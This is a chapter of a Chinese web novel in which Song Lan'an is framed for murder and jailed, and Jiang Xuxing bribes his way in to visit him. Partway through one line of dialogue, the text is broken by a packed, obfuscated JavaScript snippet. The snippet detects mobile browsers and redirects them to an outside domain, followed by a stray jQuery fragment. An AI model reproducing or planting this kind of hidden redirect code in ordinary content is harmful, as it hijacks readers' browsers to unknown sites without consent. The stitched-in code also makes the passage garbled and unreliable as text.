“谁是沈问澜?” 江序行警惕地看着面前几人。 屋中乌泱泱挤满了捕快打扮的人,很快,一道身影拨开众人挤了进来,指着同样刚刚苏醒的宋澜安。 “官爷,沈问澜就是他!” “昨夜杀了张郎中女儿的真凶,就是他,沈问澜!” 这人……是上官敬? 江序行脑海中还是一片浆糊,更想不通发生了什么。 这出乎意料的插曲,显然宋澜安也没反应过来,就被几个官兵按在了榻上,反绑住了手。 “走!” 宋澜安被推搡着走出去,江序行连忙追上,一把扯住了上官敬:“你们凭什么无缘无故抓人,什么真凶,谁的女儿死了,这跟我们有什么关系?” 上官敬认出江序行这张脸,昨夜在锦花坊,便一眼惊为天人,如今凑近了看,更令他深深嫉妒。 上官敬一把拂开他:“这话你问我做什么,有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030980|162317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个时间,还不如去给你这朋友买一沓儿纸钱烧。” “毕竟杀人,偿命。” 说完,上官敬冷哼了一声,就跟着那些官兵离开了。 江序行蹙眉。 到底发生了什么? 宋澜安是不可能杀人的,况且昨夜他们一直在一起,宋澜安也绝对不是那种惹是生非的性格。 肯定是因为昨天在锦花坊,上官敬记恨上了宋澜安,所以才有了今天这无妄之灾。 周遭都是看热闹的百姓,江序行见状,上前拉了一个大娘询问:“大娘,请问是谁死了?” 那大娘显然也是一个爱凑热闹的,连忙道:“可不就是街角那家医馆的张郎中,一早发现自家女儿死了,报了官。” “有人说见到了那个外乡人,昨夜举止可疑,出现在医馆附近,想必就是杀人凶手了。”大娘啧啧了两声,“看着人模狗样的,实际上心里面烂透了哩。” 江序行顿时一愣。 他们昨夜可是一起去医馆的,若不是因为自己中了药,又怎么会出现在那里? 至于举止可疑…… 昨夜那情况,若是坦坦荡荡,反而奇怪。 “多谢大娘。”江序行匆匆丢下这一句,连忙跟了上去。 宋澜安被一路押解到了牢里,江序行见周遭看热闹的人都已经散了个七七八八,才忐忑走上前:“这位大哥,能让我探望一下方才那人吗?” 狱卒冷眉冷眼,刚要拒绝。 手里面就被塞进了一块金子。 江序行也有些肉疼,这可是他当了原主那块玉佩,才好不容易得来的保命钱。 但是现在,却也不得不用了。 “一炷香时间,快去吧。”狱卒把金子揣进怀中,随后打开了一条缝,江序行连忙点头道谢,而后钻了进去。 大牢之中阴暗潮湿,江序行从前也只在小说,电视剧里面见过此等场景,没想到真实的大牢要更加阴森恐怖一些,还时不时传来关押之人的呻吟声。 江序行打了个哆嗦,连忙朝着里面走去。 见宋澜安被单独关在一间牢房之中,江序行连忙跑过去:“宋澜安,你没事吧?” 宋澜安此刻已经清醒了大半,也大致弄清楚发生了什么,因此见到江序行,眉头立即皱了起来:“你怎么也进来了?” 江序行摇了摇头,示意现在不是说这个的时候,咬牙切齿道:“我就知道那个上官,肯定不是什么好人,今天的事情也必然是他指使的,就是要栽赃陷害你!” “只是他怎么知道今日城中死了人,还刚好是我们两个去过的那家医馆呢?” 宋澜安摇头:“不是巧合,昨夜在锦花坊,和上官敬错身而过的时候,我就闻到了他身上有一股淡淡的血腥味。” 宋澜安并没有暴露系统所给的提示,直接道:“我怀疑死者就是上官敬杀害的,至于昨天我们会出现在医馆……也不过是个巧合。” 闻言,江序行更自责了。 如果不是因为他下的药,昨夜他们两个好好待在客栈之中,也不会授人以柄,平白被人诬陷。 “不用乱想。既然上官敬已经想好了要栽赃,昨夜我们在哪里根本就不重要。” 江序行咬牙切齿:“这些官兵随便就听信了谗言,还不是因为上官敬身份特殊!” “宋澜安,我会想办法把你给救出来的,你相不相信我?” 宋澜安难得见到江序行流露出这样愤怒的表情,如果现在上官敬出现在这里,大概可能,会被江序行咬死。 “相不相信,事到如今能帮我的,不也就只有你了?” 虽然宋澜安的语气一如既往的欠揍,但江序行还是感觉到了一种名为信任的情绪。 “放心吧,我不会让你随便死在别人手里的。”他目光微冷。 就算宋澜安要死,也只能死在他手里。